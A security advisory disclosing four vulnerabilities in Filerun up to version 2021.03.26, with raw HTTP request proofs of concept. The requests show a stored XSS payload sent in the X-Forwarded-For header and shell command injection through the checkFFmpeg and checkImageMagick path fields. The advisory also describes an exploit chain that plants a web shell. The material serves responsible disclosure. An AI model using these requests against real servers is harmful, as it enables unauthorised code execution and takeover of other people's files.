23 SEPTEMBER 2021 / ADVISORY

Advisory for Filerun <= 2021.03.26

We discovered multiple vulnerabilities in Filerun <= 2021.03.26. The vulnerabilities were fixed in Filerun 2021.06.27.

CVE ID	TYPE
CVE-2021-35503	Stored Cross-Site-Scripting (unauthenticated) in HTTP header
CVE-2021-35504	Remote Code Execution (authenticated) using *checkFFmpeg*
CVE-2021-35505	Remote Code Execution (authenticated) using *checkImageMagick*
CVE-2021-35506	Stored Cross-Site-Scripting (authenticated) in HTML-Editor

CVE-2021-35503

Sending a malicious *X-Forwarded-For* header results in a stored XSS in the activity logs. The code is triggered if an admin views or archives the logs. Filerun blocks brute force attacks. To prevent account lock out, use a non-existent username.

```
POST /?module=fileman&page=login&action=login HTTP/1.1
Host: localhost
Content-Length: 66
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.44
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,ap
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: iframe
Referer: http://localhost/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
X-Forwarded-For: <iMg onerror=alert(1) src=a>
Cookie: FileRunSID=a99a9ba3867833fd1af9b6549eb83524
Connection: close

username=filerun&password=password&otp=&two_step_secret=&language=
```

The severity can be summarized as critical.

An unauthenticated remote attacker will gain access to all files of all users. He could edit the files or put the application in maintenance mode, which would impact availability. He could become an administrator user by stealing sessions or exploit other vulnerabilities in this Filerun version.

CVE-2021-35504

An attacker with access to the admin backend can abuse the *checkFFmpeg* action to trigger code execution in the context of the webserver user.

```
POST /?module=cpanel&section=settings&page=image_preview&action=checkFFmpeg HTTP/1.1
Host: localhost
Content-Length: 29
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.44
```

```
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/?module=cpanel
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: FileRunSID=887bebeb478e22731a2cabdeb0cf876e
Connection: close

path=ffmpeg%7Cecho%20%60ls%60
```

The severity can be summarized as high.

The attacker requires access to a higher privileged account of the application (e.g. through *CVE-2021-35503*). He/She is able to escalate their privileges to the context of the web server user.

CVE-2021-35505

An attacker with access to the admin backend can abuse the *checkImageMagick* action to trigger code execution in the context of the webserver user.

```
POST /?module=cpanel&section=settings&page=image_preview&action=checkImageMagick HTTP/1.1
Host: localhost
Content-Length: 40
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.44
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept: */*
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/?module=cpanel
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: FileRunSID=887bebeb478e22731a2cabdeb0cf876e
Connection: close

mode=exec&path=convert%7Cecho%20%60ls%60
```

The severity can be summarized as high.

The attacker requires access to a higher privileged account of the application (e.g. through *CVE-2021-35503*). He/She is able to escalate their privileges to the context of the web server user.

CVE-2021-35506

An attacker can upload an HTML file with malicious javascript code. The code is executes when a user views or edits this file using the HTML-Editor.

The severity can be summarized as critical.

A low privileged attacker will gain access to all files of all users. He could edit the files or put the application in maintenance mode, which would impact availability. He could become an administrator user by stealing sessions (or trigger *CVE-2021-35504* or *CVE-2021-35505*).

Exploit Chain

We published a Proof of Concept that exploits *CVE-2021-35503* and *CVE-2021-35505*. The code injects Javascript into the Activity Log Feed, that triggers the Remote Code Execution as soon as the administrator visits the page. This will upload a *shell.php* file in the web root.

Demo

0:00 / 0:51

Thanks to the Filerun team to address these findings immediately.

Chris
Pentester

Read More